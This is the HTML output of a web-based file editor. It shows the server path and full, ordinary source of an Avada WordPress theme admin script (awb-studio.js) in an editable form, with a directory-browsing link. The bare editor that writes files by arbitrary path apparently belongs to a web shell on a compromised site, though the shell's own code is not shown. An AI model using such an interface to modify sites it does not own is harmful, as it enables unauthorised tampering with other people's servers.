<h2>File Contents: /home/planet5/www/yanhuanghealthcare.co.uk/wp-content/themes/Avada/assets/admin/js/awb-studio.js</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/yanhuanghealthcare.co.uk/wp-content/themes/Avada/assets/admin/js/awb-studio.js'><textarea name='file_content' rows='10' cols='50'>/* global ajaxurl, awbStudioData, Fuse, fusionBuilderText */
window.awbStudio = {

	// Data of posts for thumbnails.
	data: {},

	// Current context of previews.
	context: {
		type: &#039;fusion_template&#039;,
		tag: &#039;all&#039;
	},

	// Timeouts for filter reveal.
	timeouts: [],

	// Keys of avada_media properties which are not empty (those will be imported).
	mediaImportKeys: [],

	$disablePreview: jQuery( &#039;.awb-modal-overlay&#039; ),

	$modal: jQuery( &#039;.awb-admin-modal-wrap&#039; ),

	$modalMessage: jQuery( &#039;.awb-admin-modal-wrap .awb-admin-modal-status-bar .awb-admin-modal-status-bar-label&#039; ),

	$modalProgressBar: jQuery( &#039;.awb-admin-modal-wrap .awb-admin-modal-status-bar .awb-admin-modal-status-bar-progress-bar&#039; ),

	/**
	 * Run actions on load.
	 *
	 * @since 7.5
	 *
	 * @return {void}
	 */
	init: function() {
		this.$el  = jQuery( &#039;.avada_page_avada-studio&#039; );
		this.data = awbStudioData;

		// Listeners for events.
		this.addListeners();

		// Lazy load from selector, could just use theme lazy load.
		this.initLazyLoad();

		// Icon bar filters.
		this.initIconBar();

		// Tag filters
		this.initTagFilter();

		// Preview and save.
		this.initPreviewListener();

		// Iframe load.
		this.initIframeListener();

		// Modal close.
		this.initModalEvents();

		// Init search.
		this.initSearch();
	},

	/**
	 * Iframe events.
	 *
	 * @since 7.5
	 * @return {void}
	 */
	initIframeListener: function() {
		this.$el.find( &#039;.awb-studio-preview-frame&#039; ).on( &#039;load&#039;, function() {

			// Trigger event for preview update.
			window.dispatchEvent( new Event( &#039;awb-studio-update-preview&#039; ) );

			jQuery( &#039;#fusion-loader&#039; ).hide();

			jQuery( &#039;.awb-import-studio-item-in-preview&#039; ).off( &#039;click&#039; );

			jQuery( &#039;.awb-import-studio-item-in-preview&#039; ).on( &#039;click&#039;, function( event ) {
				var dataID = jQuery( this ).data( &#039;id&#039; );

				event.preventDefault();

				jQuery( &#039;.fusion-studio-preview-back&#039; ).trigger( &#039;click&#039; );
				jQuery( &#039;.awb-save[data-id=&quot;&#039; + dataID + &#039;&quot;]&#039; ).trigger( &#039;click&#039; );
			} );
		} );
	},

	/**
	 * Modal events.
	 *
	 * @since 7.5
	 * @return {void}
	 */
	initModalEvents: function() {
		var self = this;

		this.$el.find( &#039;.fusion-studio-preview-back, .post-modal-bg&#039; ).on( &#039;click&#039;, function() {
			self.closeModal( self.$el );
		} );

		jQuery( &#039;body&#039; ).on( &#039;keydown&#039;, function( event ) {
			if ( ( 27 === event.keyCode || &#039;27&#039; === event.keyCode ) &amp;&amp; jQuery( &#039;body&#039; ).hasClass( &#039;fusion-studio-preview-active&#039; ) ) {
				self.closeModal( self.$el );
			}
			return true;
		} );
	},

	/**
	 * Closes Modal.
	 *
	 * @since 7.5
	 * @return {void}
	 */
	closeModal: function( element ) {
		element.find( &#039;.awb-studio-modal&#039; ).css( &#039;visibility&#039;, &#039;hidden&#039; );
		element.find( &#039;.awb-studio-modal&#039; ).css( &#039;opacity&#039;,  &#039;0&#039; );
		jQuery( &#039;body&#039; ).removeClass( &#039;fusion-studio-preview-active&#039; );
	},

	/**
	 * Update the tag list for the current context.
	 *
	 * @since 3.1
	 * @return {void}
	 */
	tagsUpdate: function() {
		var $nav = this.$el.find( &#039;#filter-bar nav&#039; );

		// Clear out old tags.
		$nav.empty();

		// Early exit if context is not set.
		if ( &#039;undefined&#039; === typeof this.data[ this.context.type ] ) {
			return;
		}

		// Add all link with new count.
		$nav.prepend( &#039;&lt;a href=&quot;#&quot; class=&quot;active&quot; data-tag=&quot;all&quot;&gt;&#039; + fusionBuilderText.all + &#039; &lt;span&gt;&#039; + Object.keys( this.data[ this.context.type ] ).length + &#039;&lt;/span&gt;&lt;/a&gt;&#039; );

		// Each tag of type add in.
		jQuery.each( this.data.studio_tags[ this.context.type ], function( index, tag ) {
			$nav.append( &#039;&lt;a href=&quot;#&quot; data-tag=&quot;&#039; + tag.slug + &#039;&quot;&gt;&#039; + tag.name + &#039;&lt;span&gt;&#039; + tag.count + &#039;&lt;/span&gt;&lt;/a&gt;&#039; );
		} );

		// Add click listener.
		this.initTagFilter();
	},

	/**
	 * Main category filtering.
	 *
	 * @since 3.1
	 * @return {void}
	 */
	initIconBar: function() {
		var self = this;
		this.$el.find( &#039;.awb-studio-categories li&#039; ).on( &#039;click&#039;, function( event ) {
			event.preventDefault();

			if ( self.context.type === jQuery( this ).data( &#039;type&#039; ) ) {
				return;
			}

			// Update title.
			jQuery( &#039;#filter-bar h2&#039; ).text( jQuery( this ).attr( &#039;aria-label&#039; ) );

			// Active styling.
			jQuery( &#039;.awb-studio-categories li.active&#039; ).removeClass( &#039;active&#039; );
			jQuery( this ).addClass( &#039;active&#039; );

			// Context change.
			self.context.type = jQuery( this ).data( &#039;type&#039; );

			// TODO, potentially check if same filter is in the other category instead.
			self.context.tag = &#039;all&#039;;

			// Update tags for new category.
			self.tagsUpdate();

			// Update preview for new category and tag combination.
			self.previewsUpdate();
		} );

		// Trigger first (handles disabled elements in access control).
		this.$el.find( &#039;.awb-studio-categories li:first&#039; ).trigger( &#039;click&#039; );
	},

	/**
	 * Click listener for tag links.
	 *
	 * @since 3.1
	 * @return {void}
	 */
	initTagFilter: function() {
		var self = this;

		this.$el.find( &#039;#filter-bar nav a&#039; ).on( &#039;click&#039;, function( event ) {
			event.preventDefault();

			if ( self.context.tag === jQuery( this ).data( &#039;tag&#039; ) ) {
				return;
			}

			// Active styling.
			jQuery( &#039;#filter-bar nav .active&#039; ).removeClass( &#039;active&#039; );
			jQuery( this ).addClass( &#039;active&#039; );

			// Update context tag.
			self.context.tag = jQuery( this ).data( &#039;tag&#039; );

			// Update preview for new tag.
			self.previewsUpdate();
		} );
	},

	/**
	 * Lazy load images.
	 *
	 * @since 3.1
	 * @return {void}
	 */
	initLazyLoad: function() {
		var imageObserver,
			$container  = this.$el.find( &#039;#main-content .previews&#039; ),
			$demoImages = $container.find( &#039;.lazy-load&#039; ),
			options     = {
				root: null,
				rootMargin: &#039;0px&#039;,
				threshold: 0.1
			};

		// TODO, make this more efficient when re-init.
		if ( &#039;IntersectionObserver&#039; in window ) {
			imageObserver = new IntersectionObserver( function( entries ) {
				jQuery.each( entries, function( key, entry ) {
					var $demo  = jQuery( entry.target ),
						$image = $demo.find( &#039;img&#039; );

					if ( &#039;undefined&#039; === typeof $image.data( &#039;src&#039; ) || &#039;&#039; === $image.data( &#039;src&#039; ) || &#039;undefined&#039; === $image.data( &#039;src&#039; ) ) {
						imageObserver.unobserve( entry.target );
						return;
					}

					if ( entry.isIntersecting ) {
						$image.attr( &#039;src&#039;, $image.data( &#039;src&#039; ) );

						$image.imagesLoaded().done( function() {
							$demo.removeClass( &#039;lazy-load&#039; ).addClass( &#039;lazy-loaded&#039; );
							$image.attr( &#039;alt&#039;, $image.data( &#039;alt&#039; ) );
						} );

						imageObserver.unobserve( entry.target );
					}
				} );
			}, options );

			$demoImages.each( function() {
				imageObserver.observe( this );
			} );
		}
	},

	/**
	* Get import options.
	*
	* @since 3.7
	* @return {object}
	*/
	getImportOptions: function() {
		var overWriteType    = jQuery( &#039;input[name=&quot;overwrite-type&quot;]:checked&#039; ).val(),
			shouldInvert     = jQuery( &#039;input[name=&quot;invert&quot;]:checked&#039; ).val(),
			imagesImport     = jQuery( &#039;input[name=&quot;images&quot;]:checked&#039; ).val(),
			options;

			options = {
				&#039;overWriteType&#039;: &#039;undefined&#039; !== typeof overWriteType ? overWriteType : &#039;replace-pos&#039;,
				&#039;shouldInvert&#039;: &#039;undefined&#039; !== typeof shouldInvert ? shouldInvert  : &#039;dont-invert&#039;,
				&#039;imagesImport&#039;: &#039;undefined&#039; !== typeof imagesImport ? imagesImport : &#039;do-import-images&#039;
			};

			return options;
	},

	/**
	 * Click listener for opening previews.
	 *
	 * @since 3.1
	 * @return {void}
	 */
	initPreviewListener: function() {
		var self = this;

		// Remove any existing.
		self.$el.find( &#039;.awb-studio-content article img, .awb-save&#039; ).off( &#039;click&#039; );

		// Studio content import.
		self.$el.find( &#039;.awb-save&#039; ).on( &#039;click&#039;, function( event ) {
			var $button        = jQuery( this ),
				dataType       = $button.closest( &#039;article&#039; ).data( &#039;type&#039; ),
				dataID         = $button.closest( &#039;article&#039; ).data( &#039;id&#039; ),
				importOptions  = self.getImportOptions( event ),
				dataStudioType = jQuery( &#039;.awb-studio-categories li.active&#039; ).data( &#039;type&#039; );

			event.preventDefault();

			if ( $button.hasClass( &#039;disabled&#039; ) || ! dataType || ! dataID ) {
				return;
			}

			$button.addClass( &#039;disabled progress&#039; );

			// Filter out empty properties (now those are empty arrays).
			if ( &#039;object&#039; === typeof self.data[ dataStudioType ][ &#039;item-&#039; + dataID ].avada_media &amp;&amp; 0 === self.mediaImportKeys.length ) {
				Object.keys( self.data[ dataStudioType ][ &#039;item-&#039; + dataID ].avada_media ).forEach( function( key ) {
					// We expect and object.
					if ( &#039;object&#039; === typeof self.data[ dataStudioType ][ &#039;item-&#039; + dataID ].avada_media[ key ] &amp;&amp;  ! Array.isArray( self.data[ dataStudioType ][ &#039;item-&#039; + dataID ].avada_media[ key ] ) ) {
						self.mediaImportKeys.push( key );
					}
				} );
			}

			// Open modal.
			self.openImportModal();

			self.$modalMessage.html( &#039;Importing Studio Content&#039; );

			jQuery.ajax( {
				type: &#039;GET&#039;,
				url: ajaxurl,
				dataType: &#039;JSON&#039;,
				data: {
					action: &#039;awb_studio_import&#039;,
					overWriteType: importOptions.overWriteType,
					shouldInvert: importOptions.shouldInvert,
					imagesImport: importOptions.imagesImport,
					data: {
						dataType: dataType,
						dataID: dataID
					},
					awb_studio_nonce: jQuery( &#039;#awb-studio-nonce&#039; ).val()
				}
			} )
			.done( function( data ) {
				$button.trigger( &#039;blur&#039; );

				$button.removeClass( &#039;disabled progress&#039; );
				self.addTemporaryClass( $button, &#039;success&#039; );

				if ( 0 &lt; self.mediaImportKeys.length &amp;&amp; ( &#039;undefined&#039; === typeof data.was_imported || false === data.was_imported ) ) {
					self.importAvadaMedia( data, importOptions );
				} else {

					self.closeImportModal();
				}
			} )
			.fail( function() {

				self.$modalMessage.html( &#039;Importing Studio Content Failed&#039; );

				$button.removeClass( &#039;disabled progress&#039; );
				self.addTemporaryClass( $button, &#039;error&#039; );
			} );

		} );

		// Add for each.
		self.$el.find( &#039;.awb-studio-content article img&#039; ).on( &#039;click&#039;, function( event ) {
			var $wrapper        = jQuery( event.currentTarget ).closest( &#039;article&#039; ),
				dataID         = $wrapper.data( &#039;id&#039; );

			event.preventDefault();

			jQuery( &#039;.awb-studio-modal&#039; ).css( &#039;visibility&#039;, &#039;visible&#039; );
			jQuery( &#039;body&#039; ).addClass( &#039;fusion-studio-preview-active&#039; );
			jQuery( &#039;.awb-studio-modal&#039; ).animate( { opacity: 1 }, 250 );
			jQuery( &#039;#fusion-loader&#039; ).show();
			self.loadIframePreview( jQuery( this ).closest( &#039;article&#039; ).attr( &#039;data-url&#039; ) );
			self.setOptions( dataID );
		} );
	},

	/**
	 * Sets options.
	 *
	 * @since 7.7
	 * @return {void}
	 */
	setOptions: function( dataID ) {
		var $wrapper = jQuery( &#039;.awb-studio-modal&#039; ),
			options  = { // Object of option name and default value.
				&#039;overwrite-type&#039;: &#039;replace-pos&#039;,
				&#039;invert&#039;: &#039;dont-invert&#039;,
				&#039;images&#039;: &#039;do-import-images&#039;
			};

		jQuery( &#039;.awb-import-studio-item-in-preview&#039; ).data( &#039;id&#039;, dataID );

		jQuery.each( options, function( name, value ) {
			if ( ! $wrapper.find( &#039;input[name=&quot;&#039; + name + &#039;&quot;]&#039; ).is( &#039;:checked&#039; ) ) {
				jQuery( &#039;#&#039; +  value ).prop( &#039;checked&#039;, true );
			}
		} );
	},

	/**
	 * Import studio content assets.
	 *
	 * @since 3.1
	 * @return {void}
	 */
	importAvadaMedia: function( postData, importOptions ) {
		var self = this,
			mediaKeys = Object.keys( postData.avada_media ),
			progress = ( mediaKeys.length - self.mediaImportKeys.length + 1 ) / mediaKeys.length;

		self.$modalMessage.html( &#039;Importing Studio Media: &#039; + self.mediaImportKeys[ 0 ].replace( &#039;_&#039;, &#039; &#039; ) );
		self.$modalProgressBar.css( &#039;width&#039;, ( 100 * progress ) + &#039;%&#039; );

		jQuery.ajax( {
			type: &#039;POST&#039;,
			url: ajaxurl,
			dataType: &#039;JSON&#039;,
			data: {
				action: &#039;awb_studio_admin_import_media&#039;,
				overWriteType: importOptions.overWriteType,
				shouldInvert: importOptions.shouldInvert,
				imagesImport: importOptions.imagesImport,
				data: {
					mediaImportKey: self.mediaImportKeys[ 0 ],
					postData: postData
				},
				awb_studio_nonce: jQuery( &#039;#awb-studio-nonce&#039; ).val()
			}
		} )
		.done( function( data ) {

			// Remove the media key which was just imported.
			self.mediaImportKeys.shift();

			if ( 0 &lt; self.mediaImportKeys.length ) {
				self.importAvadaMedia( data, importOptions );
			} else {
				self.closeImportModal();
			}
		} )
		.fail( function() {
			self.$modalMessage.html( &#039;Failed Importing Studio Media: &#039; + self.mediaImportKeys[ 0 ] );
		} );
	},

	/**
	 * Opens import modal.
	 */
	openImportModal: function() {
		jQuery( &#039;body&#039; ).addClass( &#039;fusion_builder_no_scroll&#039; );
		this.$disablePreview.show();
		jQuery( &#039;.awb-admin-modal-wrap&#039; ).css( &#039;display&#039;, &#039;block&#039; );
	},

	/**
	 * Closes import modal.
	 */
	closeImportModal: function() {
		this.$modal.find( &#039;.awb-admin-modal-status-bar-label span&#039; ).html( &#039;&#039; );
		jQuery( &#039;body&#039; ).removeClass( &#039;fusion_builder_no_scroll&#039; );
		this.$disablePreview.hide();
		this.$modal.css( &#039;display&#039;, &#039;none&#039; );
	},

	/**
	 * Update the preview area.
	 *
	 * @since 3.1
	 * @return {void}
	 */
	previewsUpdate: function() {
		var self        = this,
			counter     = 1,
			postType    = &#039;fusion_tb_section&#039;,
			order       = [],
			markup      = &#039;&#039;,
			mainTimeout = 0,
			postMatches = [];

		// Clear all timeouts to prevent animations still running.
		jQuery.each( this.timeouts, function( index, value ) {
			clearTimeout( value );
		} );

		// Hide all.
		jQuery( &#039;.previews article&#039; ).css( { display: &#039;none&#039; } ).addClass( &#039;hidden&#039; );

		// Post type for rest endpoint.
		if ( &#039;elements&#039; === self.context.type || &#039;sections&#039; === self.context.type || &#039;columns&#039; === self.context.type || &#039;post_cards&#039; === self.context.type || &#039;mega_menus&#039; === self.context.type ) {
			postType = &#039;fusion_element&#039;;
		} else if ( &#039;fusion_template&#039; === self.context.type ) {
			postType = &#039;fusion_template&#039;;
		} else if ( &#039;icons&#039; === self.context.type ) {
			postType = &#039;fusion_icons&#039;;
		} else if ( &#039;forms&#039; === self.context.type ) {
			postType = &#039;fusion_form&#039;;
		} else if ( &#039;awb_off_canvas&#039; === self.context.type ) {
			postType = &#039;awb_off_canvas&#039;;
		}

		// Get data of posts we need.
		jQuery.each( self.data[ self.context.type ], function( key, post ) {

			// Post is not within active tag then no need to show it.
			if ( &#039;all&#039; !== self.context.tag &amp;&amp; -1 === jQuery.inArray( self.context.tag, post.tags ) ) {
				return;
			}

			// We already have preview loaded, show it.  TODO, avoid searching DOM.
			if ( jQuery( &#039;article[data-id=&quot;&#039; + post.ID + &#039;&quot;]&#039; ).length ) {
				jQuery( &#039;article[data-id=&quot;&#039; + post.ID + &#039;&quot;]&#039; ).css( { display: &#039;inline-block&#039; } );
			} else {

				// We need to create markup for preview.
				markup += &#039;&lt;article class=&quot;hidden&quot; data-type=&quot;&#039; + postType + &#039;&quot; data-id=&quot;&#039; + post.ID + &#039;&quot; data-url=&quot;&#039; + post.url + &#039;&quot;&gt;&#039;;
				if ( post.thumbnail ) {
					markup += &#039;&lt;div class=&quot;preview lazy-load&quot;&gt;&lt;img src=&quot;data:image/svg+xml,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20width%3D%27&#039; + post.thumbnail.width + &#039;%27%20height%3D%27&#039; + post.thumbnail.height + &#039;%27%20viewBox%3D%270%200%20&#039; + post.thumbnail.width + &#039;%20&#039; + post.thumbnail.height + &#039;%27%3E%3Crect%20width%3D%27&#039; + post.thumbnail.width + &#039;&gt;%27%20height%3D%273&#039; + post.thumbnail.height + &#039;%27%20fill-opacity%3D%220%22%2F%3E%3C%2Fsvg%3E&quot; alt=&quot;&quot; width=&quot;&#039; + post.thumbnail.width + &#039;&quot; height=&quot;&#039; + post.thumbnail.height + &#039;&quot; data-src=&quot;&#039; + post.thumbnail.url + &#039;&quot; data-alt=&quot;&#039; + post.post_title + &#039;&quot;/&gt;&lt;/div&gt;&#039;;
				}
				markup += &#039;&lt;div class=&quot;bar&quot;&gt;&lt;span class=&quot;fusion_module_title&quot;&gt;&lt;span class=&quot;awb-preview-title-text&quot;&gt;&#039; + post.post_title + &#039;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;awb-studio-actions&quot;&gt;&lt;a href=&quot;#&quot; data-id=&quot;&#039; + post.ID + &#039;&quot; class=&quot;awb-save&quot;&gt;&lt;i class=&quot;fusiona-plus&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/article&gt;&#039;;
			}

			postMatches.push( post );
		} );

		// Add all needing added.
		if ( &#039;&#039; !== markup ) {
			mainTimeout = 50;
			jQuery( &#039;.previews&#039; ).append( markup );
		}

		// Give delay for paint.
		setTimeout( function() {
			var i;

			// Loop afer all have been added to get position.
			jQuery.each( postMatches, function( key, post ) {
				var position = jQuery( &#039;article[data-id=&quot;&#039; + post.ID + &#039;&quot;]&#039; ).position();

				position.id = post.ID;
				order.push( position );
			} );

			// Sort top to bottom.
			order.sort( self.SortByTop );

			// Reveal top to bottom.
			for ( i = 0;  i &lt; order.length; i++ ) {
				self.timeouts.push(
					self.doSetTimeout( i, order, counter )
				);
				counter++;
			}

			// Reinit click listeners.
			self.initPreviewListener();

			// Lazy load of any new images.
			self.initLazyLoad();

		}, mainTimeout );
	},

	/**
	 * Delay between showing items.
	 *
	 * @since 7.5
	 *
	 * @return {void}
	 */
	doSetTimeout: function( i, order, counter ) {
		setTimeout( function() {
			jQuery( &#039;article[data-id=&quot;&#039; + order[ i ].id + &#039;&quot;]&#039; ).removeClass( &#039;hidden&#039; );
		}, counter * 50 );
	},

	/**
	 * Sort elements by vertical position.
	 *
	 * @since 7.5
	 *
	 */
	SortByTop: function( a, b ) {
		return ( ( a.top &lt; b.top ) ? -1 : ( ( a.top &gt; b.top ) ? 1 : 0 ) ); // eslint-disable-line no-nested-ternary
    },

	/**
	 * Update data and preview.
	 *
	 * @since 7.5
	 *
	 * @param data {object}
	 * @return {void}
	 */
	updateData: function( data ) {
		if ( &#039;object&#039; !== typeof data ) {
			return;
		}

		this.data         = data;
		this.context.type = &#039;&#039;;

		jQuery( &#039;#filter-bar nav&#039; ).empty();
		jQuery( &#039;#main-content .previews&#039; ).empty();
		jQuery( &#039;.awb-studio-categories li.active&#039; ).click();

		jQuery( &#039;html, body&#039; ).animate( {
			scrollTop: jQuery( &#039;.awb-studio-categories&#039; ).offset().top
		}, 1000 );
	},

	/**
	 * Add needed listeners.
	 *
	 * @since 7.5
	 *
	 * @return {void}
	 */
	addListeners: function() {
		var self = this;

		// Listen for syn button clicks.
		this.$el.find( &#039;.awb-studio-sync&#039; ).on( &#039;click&#039;, function( event ) {
			var $button  = jQuery( this );

			event.preventDefault();

			if ( $button.hasClass( &#039;disabled&#039; ) ) {
				return;
			}

			$button.addClass( &#039;disabled progress&#039; );

			jQuery.ajax( {
				type: &#039;GET&#039;,
				url: ajaxurl,
				dataType: &#039;JSON&#039;,
				data: {
					action: &#039;awb_studio_sync&#039;,
					awb_studio_nonce: jQuery( &#039;#awb-studio-nonce&#039; ).val()
				}
			} )
			.done( function( data ) {
				if ( null === data ) {
					$button.removeClass( &#039;disabled progress&#039; );
					self.addTemporaryClass( $button, &#039;error&#039; );
					return;
				}
				$button.trigger( &#039;blur&#039; );
				self.updateData( data );
				$button.removeClass( &#039;disabled progress&#039; );
				self.addTemporaryClass( $button, &#039;success&#039; );
			} )
			.fail( function() {
				$button.removeClass( &#039;disabled progress&#039; );
				self.addTemporaryClass( $button, &#039;error&#039; );
			} );
		} );

	},

	loadIframePreview: function( url ) {
		this.$el.find( &#039;.post-preview iframe&#039; ).attr( &#039;src&#039;, url );
	},

	/**
	 * Add a class, wait and then remove.
	 *
	 * @since 7.5
	 *
	 * @return {void}
	 */
	addTemporaryClass: function( $element, classname ) {
		$element.addClass( classname );
		setTimeout( function() {
			$element.removeClass( classname );
		}, 2000 );
	},

	/**
	 * Init Search panel.
	 *
	 * @since 7.5
	 * @return {void}
	 */
	initSearch: function() {
		var self = this,
			previewEl = jQuery( &#039;.previews&#039; ),
			options,
			fuse,
			result,
			value;

		jQuery( &#039;#search-input&#039; ).on( &#039;change paste keyup search&#039;, _.debounce( function() {
			var thisEl = jQuery( this ),
				data,
				hasValue = false;

			// Hide all.
			jQuery( &#039;article&#039;, previewEl ).css( { display: &#039;none&#039; } ).addClass( &#039;hidden&#039; );

			if ( thisEl.val() ) {
				value = thisEl.val().toLowerCase();

				options = {
					threshold: 0.2,
					location: 0,
					distance: 100,
					maxPatternLength: 32,
					minMatchCharLength: 3,
					keys: [ &#039;post_title&#039; ]
				};

				data = _.map( self.data[ self.context.type ], function( post ) {
					return post;
				} );

				fuse = new Fuse( data, options );
				result = fuse.search( value );
				hasValue = true;
			} else {
				result = self.data[ self.context.type ];
			}

			// Show items.
			_.each( result, function( post ) {
				// Post is not within active tag then no need to show it.
				if ( ! hasValue &amp;&amp; &#039;all&#039; !== self.context.tag &amp;&amp; -1 === jQuery.inArray( self.context.tag, post.tags ) ) {
					return;
				}
				previewEl.find( &#039;article[data-id=&quot;&#039; + post.ID + &#039;&quot;]&#039; ).css( { display: &#039;inline-block&#039; } ).removeClass( &#039;hidden&#039; );
			} );
		}, 100 ) );
	}
};

( function( jQuery ) {

	&#039;use strict&#039;;

	jQuery( document ).ready( function() {
		window.awbStudio.init();

		// Modal.
		jQuery( &#039;.awb-admin-modal-corner-close&#039; ).on( &#039;click&#039;, function( e ) {
			e.preventDefault();

			window.awbStudio.closeImportModal();
		} );

	} );
}( jQuery ) );
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fwww%2Fyanhuanghealthcare.co.uk%2Fwp-content%2Fthemes%2FAvada%2Fassets%2Fadmin%2Fjs'>⬅ Back to Directory</a>